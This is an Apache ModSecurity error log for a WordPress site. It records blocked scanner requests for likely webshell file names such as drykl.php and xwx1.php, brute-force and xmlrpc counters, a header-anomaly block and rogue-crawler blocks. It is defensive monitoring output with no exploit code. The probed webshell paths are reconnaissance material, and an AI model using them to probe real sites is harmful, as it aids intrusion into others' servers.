[Sun Apr 26 04:48:24.646480 2026] [:error] [pid 41906:tid 41916] [client 20.91.188.120:57806] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ae0omD3-0A3lxw9OXoDmSQAAAYg"]
[Sun Apr 26 04:48:25.678052 2026] [:error] [pid 8390:tid 8471] [client 20.91.188.120:53350] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ae0omYGPtFK_i9p5yxQBFgAAAJQ"]
[Sun Apr 26 04:48:26.639701 2026] [:error] [pid 41906:tid 41912] [client 20.91.188.120:57855] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ae0omj3-0A3lxw9OXoDmTwAAAYQ"]
[Sun Apr 26 04:48:28.327446 2026] [:error] [pid 10315:tid 10325] [client 20.91.188.120:51945] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ae0onKJIw2vjkleLIaB2OAAAAQg"]
[Sun Apr 26 04:48:30.075526 2026] [:error] [pid 41906:tid 41929] [client 20.91.188.120:18071] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ae0onj3-0A3lxw9OXoDmWwAAAZU"]
[Sun Apr 26 04:48:31.016890 2026] [:error] [pid 10315:tid 10326] [client 20.91.188.120:4794] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ae0on6JIw2vjkleLIaB2PAAAAQk"]
[Sun Apr 26 04:48:31.886081 2026] [:error] [pid 41906:tid 41908] [client 20.91.188.120:26308] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ae0onz3-0A3lxw9OXoDmYgAAAYA"]
[Sun Apr 26 04:48:33.351413 2026] [:error] [pid 8383:tid 8411] [client 20.91.188.120:28062] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ae0oodFa2S3EsATMdWOwqwAAAA4"]
[Sun Apr 26 04:48:34.465497 2026] [:error] [pid 8390:tid 8466] [client 20.91.188.120:48435] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ae0oooGPtFK_i9p5yxQBGgAAAI8"]
[Sun Apr 26 04:48:35.479985 2026] [:error] [pid 41906:tid 41928] [client 20.91.188.120:57802] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ae0ooz3-0A3lxw9OXoDmaAAAAZQ"]
[Sun Apr 26 04:48:37.032934 2026] [:error] [pid 31273:tid 31363] [client 20.91.188.120:39868] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ae0opfhcNJEGrATcuEerngAAAVg"]
[Sun Apr 26 04:48:38.368875 2026] [:error] [pid 31273:tid 31339] [client 20.91.188.120:20574] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ae0opvhcNJEGrATcuEerpgAAAUM"]
[Sun Apr 26 04:48:39.487692 2026] [:error] [pid 31273:tid 31356] [client 20.91.188.120:27746] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ae0op_hcNJEGrATcuEersAAAAVE"]
[Sun Apr 26 04:48:40.317636 2026] [:error] [pid 10315:tid 10340] [client 20.91.188.120:48394] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "ae0oqKJIw2vjkleLIaB2RAAAARc"]
[Sun Apr 26 04:48:41.730788 2026] [:error] [pid 10315:tid 10336] [client 20.91.188.120:27732] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "ae0oqaJIw2vjkleLIaB2SQAAARM"]
[Sun Apr 26 04:48:42.462293 2026] [:error] [pid 8383:tid 8418] [client 20.91.188.120:39823] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "ae0oqtFa2S3EsATMdWOwugAAABU"]
[Sun Apr 26 04:48:43.342218 2026] [:error] [pid 31273:tid 31357] [client 20.91.188.120:4384] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "ae0oq_hcNJEGrATcuEervQAAAVI"]
[Sun Apr 26 04:48:44.235388 2026] [:error] [pid 31273:tid 31344] [client 20.91.188.120:61051] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "ae0orPhcNJEGrATcuEerwAAAAUY"]
[Sun Apr 26 04:48:45.023199 2026] [:error] [pid 41906:tid 41924] [client 20.91.188.120:58427] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "ae0orT3-0A3lxw9OXoDmcQAAAZA"]
[Sun Apr 26 04:48:46.183815 2026] [:error] [pid 41906:tid 41929] [client 20.91.188.120:27717] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "ae0orj3-0A3lxw9OXoDmcwAAAZU"]
[Sun Apr 26 04:48:46.954368 2026] [:error] [pid 10315:tid 10318] [client 20.91.188.120:38479] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "ae0orqJIw2vjkleLIaB2UgAAAQE"]
[Sun Apr 26 04:48:47.747847 2026] [:error] [pid 8385:tid 8434] [client 20.91.188.120:43783] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ae0orzOy7_J84Wx3-oxQiwAAAEo"]
[Sun Apr 26 04:48:48.618147 2026] [:error] [pid 41906:tid 41927] [client 20.91.188.120:31041] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ae0osD3-0A3lxw9OXoDmeQAAAZM"]
[Sun Apr 26 04:48:49.606727 2026] [:error] [pid 41906:tid 41924] [client 20.91.188.120:38487] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ae0osT3-0A3lxw9OXoDmgAAAAZA"]
[Sun Apr 26 04:48:51.401009 2026] [:error] [pid 41906:tid 41917] [client 20.91.188.120:29325] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ae0osz3-0A3lxw9OXoDmhwAAAYk"]
[Sun Apr 26 04:48:54.534186 2026] [:error] [pid 8491:tid 8520] [client 20.91.188.120:48419] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ae0otiq7I7e6CJooQM17EAAAANU"]
[Sun Apr 26 04:48:55.790762 2026] [:error] [pid 41906:tid 41912] [client 20.91.188.120:38503] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ae0otz3-0A3lxw9OXoDmnwAAAYQ"]
[Sun Apr 26 04:48:56.940579 2026] [:error] [pid 41906:tid 41930] [client 20.91.188.120:48411] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ae0ouD3-0A3lxw9OXoDmpAAAAZY"]
[Sun Apr 26 04:48:59.647764 2026] [:error] [pid 8385:tid 8432] [client 20.91.188.120:12313] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ae0ouzOy7_J84Wx3-oxQjAAAAEg"]
[Sun Apr 26 04:49:01.289312 2026] [:error] [pid 8385:tid 8429] [client 20.91.188.120:29357] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ae0ovTOy7_J84Wx3-oxQjwAAAEU"]
[Sun Apr 26 04:49:02.913809 2026] [:error] [pid 31273:tid 31355] [client 20.91.188.120:22928] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ae0ovvhcNJEGrATcuEer0wAAAVA"]
[Sun Apr 26 04:49:04.376680 2026] [:error] [pid 10315:tid 10334] [client 20.91.188.120:29364] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ae0owKJIw2vjkleLIaB2YwAAARE"]
[Sun Apr 26 04:49:05.117420 2026] [:error] [pid 41906:tid 41926] [client 20.91.188.120:35330] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ae0owT3-0A3lxw9OXoDmqQAAAZI"]
[Sun Apr 26 05:36:14.328690 2026] [:error] [pid 41906:tid 41909] [client 157.230.188.1:59866] [client 157.230.188.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.188.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae0zzj3-0A3lxw9OXoD_twAAAYE"]
[Sun Apr 26 05:36:16.365502 2026] [:error] [pid 10315:tid 10336] [client 157.230.188.1:59696] [client 157.230.188.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.188.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae0z0KJIw2vjkleLIaCKMAAAARM"]
[Sun Apr 26 06:49:47.086793 2026] [:error] [pid 13196:tid 13207] [client 177.80.175.35:60402] [client 177.80.175.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.80.175.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae1FC8qUeXPgssvUw6CKRAAAAoM"]
[Sun Apr 26 06:49:57.189395 2026] [:error] [pid 13137:tid 13140] [client 177.80.175.35:60876] [client 177.80.175.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.80.175.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae1FFd0RB4J0o4h5neHfbQAAAgA"]
[Sun Apr 26 06:50:07.649123 2026] [:error] [pid 13315:tid 13362] [client 177.80.175.35:61198] [client 177.80.175.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.80.175.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae1FHw2NnZnCaSNNhH3AkgAAA9I"]
[Sun Apr 26 06:50:18.202820 2026] [:error] [pid 41906:tid 41932] [client 177.80.175.35:61506] [client 177.80.175.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.80.175.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae1FKj3-0A3lxw9OXoAzowAAAZg"]
[Sun Apr 26 06:50:28.760222 2026] [:error] [pid 8491:tid 8507] [client 177.80.175.35:61818] [client 177.80.175.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.80.175.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae1FNCq7I7e6CJooQM2i5wAAAMg"]
[Sun Apr 26 07:04:09.943001 2026] [:error] [pid 16515:tid 16518] [client 192.144.148.122:47234] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1IaVtDrUmgHSvpuLzD8wAAAkA"]
[Sun Apr 26 07:37:37.363918 2026] [:error] [pid 16515:tid 16521] [client 84.239.37.16:23190] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QQVtDrUmgHSvpuLzLhAAAAkM"]
[Sun Apr 26 07:37:38.332591 2026] [:error] [pid 8390:tid 8461] [client 84.239.37.16:44303] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QQoGPtFK_i9p5yxQsKwAAAIo"]
[Sun Apr 26 07:37:38.811950 2026] [:error] [pid 8390:tid 8457] [client 84.239.37.16:27794] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QQoGPtFK_i9p5yxQsLQAAAIY"]
[Sun Apr 26 07:37:39.272397 2026] [:error] [pid 8383:tid 8412] [client 84.239.37.16:21722] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QQ9Fa2S3EsATMdWPPrwAAAA8"]
[Sun Apr 26 07:37:40.266358 2026] [:error] [pid 8383:tid 8403] [client 84.239.37.16:46764] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QRNFa2S3EsATMdWPPswAAAAY"]
[Sun Apr 26 07:37:41.206355 2026] [:error] [pid 22573:tid 22624] [client 84.239.37.16:58507] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QRXB3EmQlD4yKUt8jGAAAAZE"]
[Sun Apr 26 07:37:41.714386 2026] [:error] [pid 13137:tid 13160] [client 84.239.37.16:16081] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QRd0RB4J0o4h5neHmGQAAAhM"]
[Sun Apr 26 07:37:42.198577 2026] [:error] [pid 22572:tid 22578] [client 84.239.37.16:31804] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QRtXOViWCFU-pZzB1CQAAAUA"]
